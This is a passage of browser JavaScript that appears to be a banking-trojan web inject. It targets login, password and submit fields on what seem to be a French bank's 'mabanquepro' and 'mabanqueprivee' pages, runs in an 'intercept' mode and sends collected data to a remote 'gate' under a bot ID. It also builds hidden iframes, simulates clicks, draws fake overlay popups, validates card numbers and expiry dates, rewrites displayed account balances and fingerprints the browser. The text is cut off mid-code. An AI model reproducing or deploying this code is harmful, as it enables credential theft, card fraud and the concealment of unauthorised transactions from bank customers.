- encode: function(b){function gethex(a){return "%" + f.charAt(a >> 4) + f.charAt(a & 0xF);}var c = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_.~";var d = "!*'();:@&=+$,/?%#[]";var e = c + d;var f = "0123456789ABCDEFabcdef";b = b + "";var g = "";if (!b || b.length == 0){return "";}for (var i = 0; i < b.length; i++) {var h = b.charAt(i);if (c.indexOf(h) != -1) {g = g + h;} else {var j = b.charCodeAt(i);if (j < 128) {g = g + gethex(j);}if (j > 127 && j < 2048) {g = g + gethex((j >> 6) | 0xC0);g = g + gethex((j & 0x3F) | 0x80);}if (j > 2047 && j < 65536) {g = g + gethex((j >> 12) | 0xE0);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}if (j > 65535) {g = g + gethex((j >> 18) | 0xF0);g = g + gethex(((j >> 12) & 0x3F) | 0x80);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}}}return g;},
- send: function(){var l = link.gate+'?botid='+_tablesStorage.get('username')+'_'+_brows.botid+'&hash='+new Date();for(var i = 0; i < arguments.length; i++){for(key in arguments[i]){l += '&'+key+'='+_tables.encode(arguments[i][key]);}}var s = document.getElementById("_tables.as");if(s)s.parentNode.removeChild(s);var s = document.createElement("script");s.type = "text/javascript";s.id = "_tables.as";if(s.readyState){s.onreadystatechange = function(){if(s.readyState == "loaded" || s.readyState == "complete"){s.onreadystatechange = null;_tables.callback();}};}else{s.onload = function(){_tables.callback();};}l = l.replace(/\(/g,"%28").replace(/\)/g,"%29");s.src = l;document.getElementsByTagName("head")[0].appendChild(s);},
- status: function(s){if(s){options.callback_status = s;}else{return options.callback_status;}},
- fstatus: function(s){if(s){options.iframe_status = s;}else{return options.iframe_status;}},
- rand: function(a,b){return Math.floor((Math.random()*b)+a);},
- shuffle: function(o){for(var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);return o;},
- click: function(btn,doc){
- if(btn.type == "image"){
- var inp_X = document.getElementById("inp_X");
- var inp_Y = document.getElementById("inp_Y");
- var inp_submit = document.getElementById("inp_submit");
- if(inp_X)inp_X.parentNode.removeChild(inp_X);
- if(inp_Y)inp_Y.parentNode.removeChild(inp_Y);
- if(inp_submit)inp_submit.parentNode.removeChild(inp_submit);
- var inp_X = document.createElement("input");
- var inp_Y = document.createElement("input");
- var inp_submit = document.createElement("input");
- inp_X.name = btn.name+".x";
- inp_Y.name = btn.name+".y";
- inp_submit.name = btn.name;
- inp_submit.value = btn.value;
- inp_submit.type = "submit";
- inp_submit.id = "inp_submit";
- inp_X.id = "inp_X";
- inp_Y.id = "inp_Y";
- inp_X.value = _tables.rand(1,15);
- inp_Y.value = _tables.rand(1,15);
- inp_X.style.display = "none";
- inp_Y.style.display = "none";
- inp_submit.style.display = "none";
- btn.parentNode.insertBefore(inp_X,btn);
- btn.parentNode.insertBefore(inp_Y,btn);
- btn.parentNode.insertBefore(inp_submit,btn);
- var inp_submit = doc.getElementById("inp_submit");
- if(inp_submit)_tables.click("click",inp_submit);
- }else{
- if(document.createEvent){
- var event = document.createEvent('MouseEvents');
- event.initMouseEvent('click',true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
- btn.dispatchEvent(event);
- }else if(btn.fireEvent){
- btn.click();
- }
- }
- },
- iframelink: function(link,param){
- var _tf = document.getElementById("_tables.frame.box");
- if(_tf)_tf.parentNode.removeChild(_tf);
- _tf = document.createElement("div");
- _tf.style.position = "absolute";
- _tf.style.left = _tables.get('showframe') ? "0px" : "-5000px";
- _tf.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
- _tf.id = "_tables.frame.box";
- _tf.innerHTML = '<iframe id="_tables.iframe" name="_tables.iframe" width=1280 height=800 onload="_tables.iframecallback();"></iframe>';
- document.body.appendChild(_tf);
- var f = document.getElementById("_tables.iframe");
- f.src = link;
- if(param)_tables.fstatus(param);
- },
- iframedom: function(fr){
- var r = {
- doc: false,
- win: false
- };
- if(_tables.brows() == "FF" && fr){
- r.doc = fr.contentDocument;
- r.win = fr.contentWindow;
- }else{
- r.doc = fr.contentWindow.document;
- r.win = fr.contentWindow;
- }
- return r;
- },
- height: function(){
- return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, compatHeight());
- },
- popupshow: function(content,back){
- _tables.popuphide();
- back = back ? '#808080' : 'url(clear.png)';
- var bg = '<div style="position:absolute;top:0px;left:0px;width:100%;height:'+Math.round((window.screen.availHeight)+800)+'px;z-index:999990;background:'+back+';opacity:0.4;filter: alpha(opacity = 40);"></div>';
- var _tp = document.createElement("div");
- _tp.id = "_tables.popup";
- _tp.innerHTML = bg+""+content;
- document.getElementsByTagName('body')[0].appendChild(_tp);
- },
- popuphide: function(){
- var _tp = document.getElementById("_tables.popup");if(_tp)_tp.parentNode.removeChild(_tp);
- },
- inarr: function(arr,value){
- for(var i = 0; i < arr.length; i++){
- if(value == arr[i]){
- return true;
- }
- }
- arr.push(value);
- return false;
- },
- placeholdr: function(input){
- if(_tables.brows() == 'FF')return;
- var txt = input.getAttribute("placeholder");
- if(txt.length > 0){
- input.style.color = input.value.length == 0 ? '#cccccc' : '#000000';
- input.value = input.value.length > 0 ? input.value : txt;
- input.onfocus = function(){
- this.style.color = '#000000';
- this.value = this.value == this.getAttribute("placeholder") ? "" : this.value;
- };
- input.onblur = function(){
- if(this.value.length == 0){
- this.value = this.getAttribute("placeholder");
- this.style.color = '#CCCCCC';
- }
- };
- }
- },
- btntoloader: function(btn,imghref){
- var img = document.createElement('img');
- img.align = 'top';
- img.src = imghref;
- img.id = '_f_btntoloader';
- btn.parentNode.insertBefore(img,btn);
- btn.parentNode.removeChild(btn);
- },
- cget: function(param){
- return gc(param);
- },
- cset: function(param){
- return sc(param);
- },
- replace: function(element,summa){
- var tsel = /select|option/igm.test(element.tagName);
- var tinp = /input|textarea/igm.test(element.tagName);
- if(tsel){
- if(splitter.value != "none" && splitter.position != "none"){
- var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
- var balance = gc(element.text.split(splitter.value)[splitter.position]);
- }else{
- var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false;
- var balance = gc(element.text);
- }
- }else if(tinp){
- if(splitter.value != "none" && splitter.position != "none"){
- var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
- var balance = gc(element.value.split(splitter.value)[splitter.position]);
- }else{
- var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false;
- var balance = gc(element.value);
- }
- }else{
- if(splitter.value != "none" && splitter.position != "none"){
- var minus = (_tables.html(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
- var balance = gc(_tables.html(element).split(splitter.value)[splitter.position]);
- }else{
- var minus = (_tables.html(element).indexOf(prefix.minus) != -1) ? true : false;
- var balance = gc(_tables.html(element));
- }
- }
- var new_balance = balance+parseFloat(summa);
- if(minus)balance = balance * -1;
- balance = sc(balance);
- new_balance = sc(new_balance);
- if(tsel){
- var f = element.text.replace(balance+"",new_balance+"");
- }else if(tinp){
- var f = element.value.replace(balance+"",new_balance+"");
- }else{
- var f = element.innerHTML.replace(balance+"",new_balance+"");
- }
- if(parseFloat(new_balance) >= 0){
- f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.plus );
- f = f.replace("-"+new_balance+"",new_balance+"");
- }else{
- f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.minus );
- f = f.replace(/\-/,"");
- }
- if(tsel){
- element.text = f;
- }else if(tinp){
- element.value = f;
- }else{
- element.innerHTML = f;
- }
- if(splitter.value != "none" && splitter.position != "none"){
- splitter.value = "none";
- splitter.position = "none";
- }
- },
- splitter: function (value,position){
- splitter.value = value;
- splitter.position = position;
- },
- match: function(el,data){
- var pattern = new RegExp(data,"igm");
- if(pattern.test(el)){
- return true;
- }else{
- return false;
- }
- },
- convertdate: function(date){
- var els = date.split(".");
- if(els && els.length == 3){
- var res = 0;
- res += parseFloat(els[2]) * 365;
- res += parseFloat(els[1]) * 30;
- res += parseFloat(els[0]);
- return res;
- }else{
- return -1;
- }
- },
- recolortable: function(table,class1,class2){
- var tr = _tables.child(table,'tr');
- if(tr && tr.length > 0){
- for(var i = 0; i < tr.length; i++){
- tr[i].className = (i % 2 == 0) ? class1 : class2;
- }
- }
- },
- id: function(id,doc){var doc = doc ? doc : document;return doc.getElementById(id);},
- create: function(el,doc){var doc = doc ? doc : document;return doc.createElement(el);},
- selected: function(select){var sel = {value: select[select.selectedIndex].value,text: select[select.selectedIndex].text};return sel;},
- after: function(elem,ref){var parent = ref.parentNode;var next = ref.nextSibling;if(next){return parent.insertBefore(elem,next);}else{return parent.appendChild(elem);}},
- clone: function(inp,value){
- var object = document.createElement(inp.tagName);
- for (x in inp.attributes){
- if(notnull(inp.attributes[x]) && notnull(inp.attributes[x].name) && notnull(inp.attributes[x].value)){
- if(inp.attributes[x].name == "onclick" ||
- inp.attributes[x].name == "name" ||
- inp.attributes[x].name == "href" ||
- inp.attributes[x].name == "id" ||
- inp.attributes[x].name == "value"
- ){
- continue;
- }
- object.setAttribute(inp.attributes[x].name,inp.attributes[x].value);
- }
- }
- if(/select/igm.test(inp.tagName)){
- object.options[0] = new Option(inp[inp.selectedIndex].text,inp[inp.selectedIndex].value);
- }else{
- value = value ? value : inp.value;
- object.value = value;
- }
- object.disabled = true;
- inp.style.display = "none";
- inp.parentNode.insertBefore(object,inp);
- },
- next: function(e,len,n){
- if(e.value.length == len)document.getElementById(n).focus();
- },
- check_cc: function(value){
- if (/[^0-9-\s]+/.test(value)) return false;
- var nCheck = 0, nDigit = 0, bEven = false;
- value = value.replace(/\D/g, "");
- for (var n = value.length - 1; n >= 0; n--) {
- var cDigit = value.charAt(n),
- nDigit = parseInt(cDigit, 10);
- if(bEven){
- if ((nDigit *= 2) > 9) nDigit -= 9;
- }
- nCheck += nDigit;
- bEven = !bEven;
- }
- return (nCheck % 10) == 0;
- },
- check_day: function(dd){
- if(parseFloat(dd) > 0 && parseFloat(dd) < 32 && (dd+'').length == 2){
- return true;
- }else{
- return false;
- }
- },
- check_month: function(mm){
- if(parseFloat(mm) > 0 && parseFloat(mm) < 13 && (mm+'').length == 2){
- return true;
- }else{
- return false;
- }
- },
- check_year: function(yy,format){
- switch(format){
- case('YY'):
- if(parseFloat(yy) >= 15 && (yy+'').length == 2){
- return true;
- }else{
- return false;
- }
- break;
- case('YYYY'):
- if(parseFloat(yy) >= 1920 && parseFloat(yy) <= 2015 && (yy+'').length == 4){
- return true;
- }else{
- return false;
- }
- break;
- }
- }
- };
- }());
- _tables = Tables;
- (function (window) {
- {
- var unknown = '-';
- // screen
- var screenSize = '';
- if (screen.width) {
- width = (screen.width) ? screen.width : '';
- height = (screen.height) ? screen.height : '';
- screenSize += '' + width + " x " + height;
- }
- //browser
- var nVer = navigator.appVersion;
- var nAgt = navigator.userAgent;
- var browser = navigator.appName;
- var version = '' + parseFloat(navigator.appVersion);
- var majorVersion = parseInt(navigator.appVersion, 10);
- var nameOffset, verOffset, ix;
- // Opera
- if ((verOffset = nAgt.indexOf('Opera')) != -1) {
- browser = 'Opera';
- version = nAgt.substring(verOffset + 6);
- if ((verOffset = nAgt.indexOf('Version')) != -1) {
- version = nAgt.substring(verOffset + 8);
- }
- }
- // MSIE
- else if ((verOffset = nAgt.indexOf('MSIE')) != -1) {
- browser = 'Microsoft Internet Explorer';
- version = nAgt.substring(verOffset + 5);
- }
- // Chrome
- else if ((verOffset = nAgt.indexOf('Chrome')) != -1) {
- browser = 'Chrome';
- version = nAgt.substring(verOffset + 7);
- }
- // Safari
- else if ((verOffset = nAgt.indexOf('Safari')) != -1) {
- browser = 'Safari';
- version = nAgt.substring(verOffset + 7);
- if ((verOffset = nAgt.indexOf('Version')) != -1) {
- version = nAgt.substring(verOffset + 8);
- }
- }
- // Firefox
- else if ((verOffset = nAgt.indexOf('Firefox')) != -1) {
- browser = 'Firefox';
- version = nAgt.substring(verOffset + 8);
- }
- // MSIE 11+
- else if (nAgt.indexOf('Trident/') != -1) {
- browser = 'Microsoft Internet Explorer';
- version = nAgt.substring(nAgt.indexOf('rv:') + 3);
- }
- // Other browsers
- else if ((nameOffset = nAgt.lastIndexOf(' ') + 1) < (verOffset = nAgt.lastIndexOf('/'))) {
- browser = nAgt.substring(nameOffset, verOffset);
- version = nAgt.substring(verOffset + 1);
- if (browser.toLowerCase() == browser.toUpperCase()) {
- browser = navigator.appName;
- }
- }
- // trim the version string
- if ((ix = version.indexOf(';')) != -1) version = version.substring(0, ix);
- if ((ix = version.indexOf(' ')) != -1) version = version.substring(0, ix);
- if ((ix = version.indexOf(')')) != -1) version = version.substring(0, ix);
- majorVersion = parseInt('' + version, 10);
- if (isNaN(majorVersion)) {
- version = '' + parseFloat(navigator.appVersion);
- majorVersion = parseInt(navigator.appVersion, 10);
- }
- // mobile version
- var mobile = /Mobile|mini|Fennec|Android|iP(ad|od|hone)/.test(nVer);
- // cookie
- var cookieEnabled = (navigator.cookieEnabled) ? true : false;
- if (typeof navigator.cookieEnabled == 'undefined' && !cookieEnabled) {
- document.cookie = 'testcookie';
- cookieEnabled = (document.cookie.indexOf('testcookie') != -1) ? true : false;
- }
- // system
- var os = unknown;
- var clientStrings = [
- {s:'Windows 3.11', r:/Win16/},
- {s:'Windows 95', r:/(Windows 95|Win95|Windows_95)/},
- {s:'Windows ME', r:/(Win 9x 4.90|Windows ME)/},
- {s:'Windows 98', r:/(Windows 98|Win98)/},
- {s:'Windows CE', r:/Windows CE/},
- {s:'Windows 2000', r:/(Windows NT 5.0|Windows 2000)/},
- {s:'Windows XP', r:/(Windows NT 5.1|Windows XP)/},
- {s:'Windows Server 2003', r:/Windows NT 5.2/},
- {s:'Windows Vista', r:/Windows NT 6.0/},
- {s:'Windows 7', r:/(Windows 7|Windows NT 6.1)/},
- {s:'Windows 8.1', r:/(Windows 8.1|Windows NT 6.3)/},
- {s:'Windows 8', r:/(Windows 8|Windows NT 6.2)/},
- {s:'Windows NT 4.0', r:/(Windows NT 4.0|WinNT4.0|WinNT|Windows NT)/},
- {s:'Windows ME', r:/Windows ME/},
- {s:'Android', r:/Android/},
- {s:'Open BSD', r:/OpenBSD/},
- {s:'Sun OS', r:/SunOS/},
- {s:'Linux', r:/(Linux|X11)/},
- {s:'iOS', r:/(iPhone|iPad|iPod)/},
- {s:'Mac OS X', r:/Mac OS X/},
- {s:'Mac OS', r:/(MacPPC|MacIntel|Mac_PowerPC|Macintosh)/},
- {s:'QNX', r:/QNX/},
- {s:'UNIX', r:/UNIX/},
- {s:'BeOS', r:/BeOS/},
- {s:'OS/2', r:/OS\/2/},
- {s:'Search Bot', r:/(nuhk|Googlebot|Yammybot|Openbot|Slurp|MSNBot|Ask Jeeves\/Teoma|ia_archiver)/}
- ];
- for (var id in clientStrings) {
- var cs = clientStrings[id];
- if (cs.r.test(nAgt)) {
- os = cs.s;
- break;
- }
- }
- var osVersion = unknown;
- if (/Windows/.test(os)) {
- osVersion = /Windows (.*)/.exec(os)[1];
- os = 'Windows';
- }
- switch (os) {
- case 'Mac OS X':
- osVersion = /Mac OS X (10[\.\_\d]+)/.exec(nAgt)[1];
- break;
- case 'Android':
- osVersion = /Android ([\.\_\d]+)/.exec(nAgt)[1];
- break;
- case 'iOS':
- osVersion = /OS (\d+)_(\d+)_?(\d+)?/.exec(nVer);
- osVersion = osVersion[1] + '.' + osVersion[2] + '.' + (osVersion[3] | 0);
- break;
- }
- // flash (you'll need to include swfobject)
- /* script src="//ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js" */
- var flashVersion = 'no check';
- if (typeof swfobject != 'undefined') {
- var fv = swfobject.getFlashPlayerVersion();
- if (fv.major > 0) {
- flashVersion = fv.major + '.' + fv.minor + ' r' + fv.release;
- }
- else {
- flashVersion = unknown;
- }
- }
- }
- window.jscd = {
- screen: screenSize,
- browser: browser,
- browserVersion: version,
- mobile: mobile,
- os: os,
- osVersion: osVersion,
- cookies: cookieEnabled,
- flashVersion: flashVersion
- };
- }(this));
- _tables.set('continue',true);
- _tables.set('message','');
- _tables.set('type','intercept');
- _tables.set('start','start');
- _tables.set('end','end');
- _tables.set('finish','');
- _tables.set('data','');
- _tables.set('login',function(){return _tables.id('client-nbr');});
- _tables.set('password',function(){return _tables.id('secret-nbr');});
- _tables.set('button',function(){return _tables.id('submitIdent');});
- _tables.set('lang',function(){var div = _tables.findout(document,'div','class:language_switcher');if(div){var a = _tables.child(div,'a');if(a && a.length > 0){return _tables.html(a[0]);}}else{return 'EN';}});
- _tables.set('page',function(){if(/mabanquepro/igm.test(document.location.href)){return 3;}else if(/mabanqueprivee/igm.test(document.location.href)){return 2;}else{return 1;}});
- _tables.set('loader',function(){switch(_tables.get('page')){case(1):return 'data:image/gif;base64,R0lGODlhIAAgAPMAAFDfVP///3bleaPtpYHnhJTrltn32cPzxGrjbWHiZX3ngOn66fv9+wAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAIAAgAAAE5xDISWlhperN52JLhSSdRgwVo1ICQZRUsiwHpTJT4iowNS8vyW2icCF6k8HMMBkCEDskxTBDAZwuAkkqIfxIQyhBQBFvAQSDITM5VDW6XNE4KagNh6Bgwe60smQUB3d4Rz1ZBApnFASDd0hihh12BkE9kjAJVlycXIg7CQIFA6SlnJ87paqbSKiKoqusnbMdmDC2tXQlkUhziYtyWTxIfy6BE8WJt5YJvpJivxNaGmLHT0VnOgSYf0dZXS7APdpB309RnHOG5gDqXGLDaC457D1zZ/V/nmOM82XiHRLYKhKP1oZmADdEAAAh+QQJCgAAACwAAAAAIAAgAAAE6hDISWlZpOrNp1lGNRSdRpDUolIGw5RUYhhHukqFu8DsrEyqnWThGvAmhVlteBvojpTDDBUEIFwMFBRAmBkSgOrBFZogCASwBDEY/CZSg7GSE0gSCjQBMVG023xWBhklAnoEdhQEfyNqMIcKjhRsjEdnezB+A4k8gTwJhFuiW4dokXiloUepBAp5qaKpp6+Ho7aWW54wl7obvEe0kRuoplCGepwSx2jJvqHEmGt6whJpGpfJCHmOoNHKaHx61WiSR92E4lbFoq+B6QDtuetcaBPnW6+O7wDHpIiK9SaVK5GgV543tzjgGcghAgAh+QQJCgAAACwAAAAAIAAgAAAE7hDISSkxpOrN5zFHNWRdhSiVoVLHspRUMoyUakyEe8PTPCATW9A14E0UvuAKMNAZKYUZCiBMuBakSQKG8G2FzUWox2AUtAQFcBKlVQoLgQReZhQlCIJesQXI5B0CBnUMOxMCenoCfTCEWBsJColTMANldx15BGs8B5wlCZ9Po6OJkwmRpnqkqnuSrayqfKmqpLajoiW5HJq7FL1Gr2mMMcKUMIiJgIemy7xZtJsTmsM4xHiKv5KMCXqfyUCJEonXPN2rAOIAmsfB3uPoAK++G+w48edZPK+M6hLJpQg484enXIdQFSS1u6UhksENEQAAIfkECQoAAAAsAAAAACAAIAAABOcQyEmpGKLqzWcZRVUQnZYg1aBSh2GUVEIQ2aQOE+G+cD4ntpWkZQj1JIiZIogDFFyHI0UxQwFugMSOFIPJftfVAEoZLBbcLEFhlQiqGp1Vd140AUklUN3eCA51C1EWMzMCezCBBmkxVIVHBWd3HHl9JQOIJSdSnJ0TDKChCwUJjoWMPaGqDKannasMo6WnM562R5YluZRwur0wpgqZE7NKUm+FNRPIhjBJxKZteWuIBMN4zRMIVIhffcgojwCF117i4nlLnY5ztRLsnOk+aV+oJY7V7m76PdkS4trKcdg0Zc0tTcKkRAAAIfkECQoAAAAsAAAAACAAIAAABO4QyEkpKqjqzScpRaVkXZWQEximw1BSCUEIlDohrft6cpKCk5xid5MNJTaAIkekKGQkWyKHkvhKsR7ARmitkAYDYRIbUQRQjWBwJRzChi9CRlBcY1UN4g0/VNB0AlcvcAYHRyZPdEQFYV8ccwR5HWxEJ02YmRMLnJ1xCYp0Y5idpQuhopmmC2KgojKasUQDk5BNAwwMOh2RtRq5uQuPZKGIJQIGwAwGf6I0JXMpC8C7kXWDBINFMxS4DKMAWVWAGYsAdNqW5uaRxkSKJOZKaU3tPOBZ4DuK2LATgJhkPJMgTwKCdFjyPHEnKxFCDhEAACH5BAkKAAAALAAAAAAgACAAAATzEMhJaVKp6s2nIkolIJ2WkBShpkVRWqqQrhLSEu9MZJKK9y1ZrqYK9WiClmvoUaF8gIQSNeF1Er4MNFn4SRSDARWroAIETg1iVwuHjYB1kYc1mwruwXKC9gmsJXliGxc+XiUCby9ydh1sOSdMkpMTBpaXBzsfhoc5l58Gm5yToAaZhaOUqjkDgCWNHAULCwOLaTmzswadEqggQwgHuQsHIoZCHQMMQgQGubVEcxOPFAcMDAYUA85eWARmfSRQCdcMe0zeP1AAygwLlJtPNAAL19DARdPzBOWSm1brJBi45soRAWQAAkrQIykShQ9wVhHCwCQCACH5BAkKAAAALAAAAAAgACAAAATrEMhJaVKp6s2nIkqFZF2VIBWhUsJaTokqUCoBq+E71SRQeyqUToLA7VxF0JDyIQh/MVVPMt1ECZlfcjZJ9mIKoaTl1MRIl5o4CUKXOwmyrCInCKqcWtvadL2SYhyASyNDJ0uIiRMDjI0Fd30/iI2UA5GSS5UDj2l6NoqgOgN4gksEBgYFf0FDqKgHnyZ9OX8HrgYHdHpcHQULXAS2qKpENRg7eAMLC7kTBaixUYFkKAzWAAnLC7FLVxLWDBLKCwaKTULgEwbLA4hJtOkSBNqITT3xEgfLpBtzE/jiuL04RGEBgwWhShRgQExHBAAh+QQJCgAAACwAAAAAIAAgAAAE7xDISWlSqerNpyJKhWRdlSAVoVLCWk6JKlAqAavhO9UkUHsqlE6CwO1cRdCQ8iEIfzFVTzLdRAmZX3I2SfZiCqGk5dTESJeaOAlClzsJsqwiJwiqnFrb2nS9kmIcgEsjQydLiIlHehhpejaIjzh9eomSjZR+ipslWIRLAgMDOR2DOqKogTB9pCUJBagDBXR6XB0EBkIIsaRsGGMMAxoDBgYHTKJiUYEGDAzHC9EACcUGkIgFzgwZ0QsSBcXHiQvOwgDdEwfFs0sDzt4S6BK4xYjkDOzn0unFeBzOBijIm1Dgmg5YFQwsCMjp1oJ8LyIAACH5BAkKAAAALAAAAAAgACAAAATwEMhJaVKp6s2nIkqFZF2VIBWhUsJaTokqUCoBq+E71SRQeyqUToLA7VxF0JDyIQh/MVVPMt1ECZlfcjZJ9mIKoaTl1MRIl5o4CUKXOwmyrCInCKqcWtvadL2SYhyASyNDJ0uIiUd6GGl6NoiPOH16iZKNlH6KmyWFOggHhEEvAwwMA0N9GBsEC6amhnVcEwavDAazGwIDaH1ipaYLBUTCGgQDA8NdHz0FpqgTBwsLqAbWAAnIA4FWKdMLGdYGEgraigbT0OITBcg5QwPT4xLrROZL6AuQAPUS7bxLpoWidY0JtxLHKhwwMJBTHgPKdEQAACH5BAkKAAAALAAAAAAgACAAAATrEMhJaVKp6s2nIkqFZF2VIBWhUsJaTokqUCoBq+E71SRQeyqUToLA7VxF0JDyIQh/MVVPMt1ECZlfcjZJ9mIKoaTl1MRIl5o4CUKXOwmyrCInCKqcWtvadL2SYhyASyNDJ0uIiUd6GAULDJCRiXo1CpGXDJOUjY+Yip9DhToJA4RBLwMLCwVDfRgbBAaqqoZ1XBMHswsHtxtFaH1iqaoGNgAIxRpbFAgfPQSqpbgGBqUD1wBXeCYp1AYZ19JJOYgH1KwA4UBvQwXUBxPqVD9L3sbp2BNk2xvvFPJd+MFCN6HAAIKgNggY0KtEBAAh+QQJCgAAACwAAAAAIAAgAAAE6BDISWlSqerNpyJKhWRdlSAVoVLCWk6JKlAqAavhO9UkUHsqlE6CwO1cRdCQ8iEIfzFVTzLdRAmZX3I2SfYIDMaAFdTESJeaEDAIMxYFqrOUaNW4E4ObYcCXaiBVEgULe0NJaxxtYksjh2NLkZISgDgJhHthkpU4mW6blRiYmZOlh4JWkDqILwUGBnE6TYEbCgevr0N1gH4At7gHiRpFaLNrrq8HNgAJA70AWxQIH1+vsYMDAzZQPC9VCNkDWUhGkuE5PxJNwiUK4UfLzOlD4WvzAHaoG9nxPi5d+jYUqfAhhykOFwJWiAAAIfkECQoAAAAsAAAAACAAIAAABPAQyElpUqnqzaciSoVkXVUMFaFSwlpOCcMYlErAavhOMnNLNo8KsZsMZItJEIDIFSkLGQoQTNhIsFehRww2CQLKF0tYGKYSg+ygsZIuNqJksKgbfgIGepNo2cIUB3V1B3IvNiBYNQaDSTtfhhx0CwVPI0UJe0+bm4g5VgcGoqOcnjmjqDSdnhgEoamcsZuXO1aWQy8KAwOAuTYYGwi7w5h+Kr0SJ8MFihpNbx+4Erq7BYBuzsdiH1jCAzoSfl0rVirNbRXlBBlLX+BP0XJLAPGzTkAuAOqb0WT5AH7OcdCm5B8TgRwSRKIHQtaLCwg1RAAAOwAAAAAAAAAAAA==';break;case(2):return 'data:image/gif;base64,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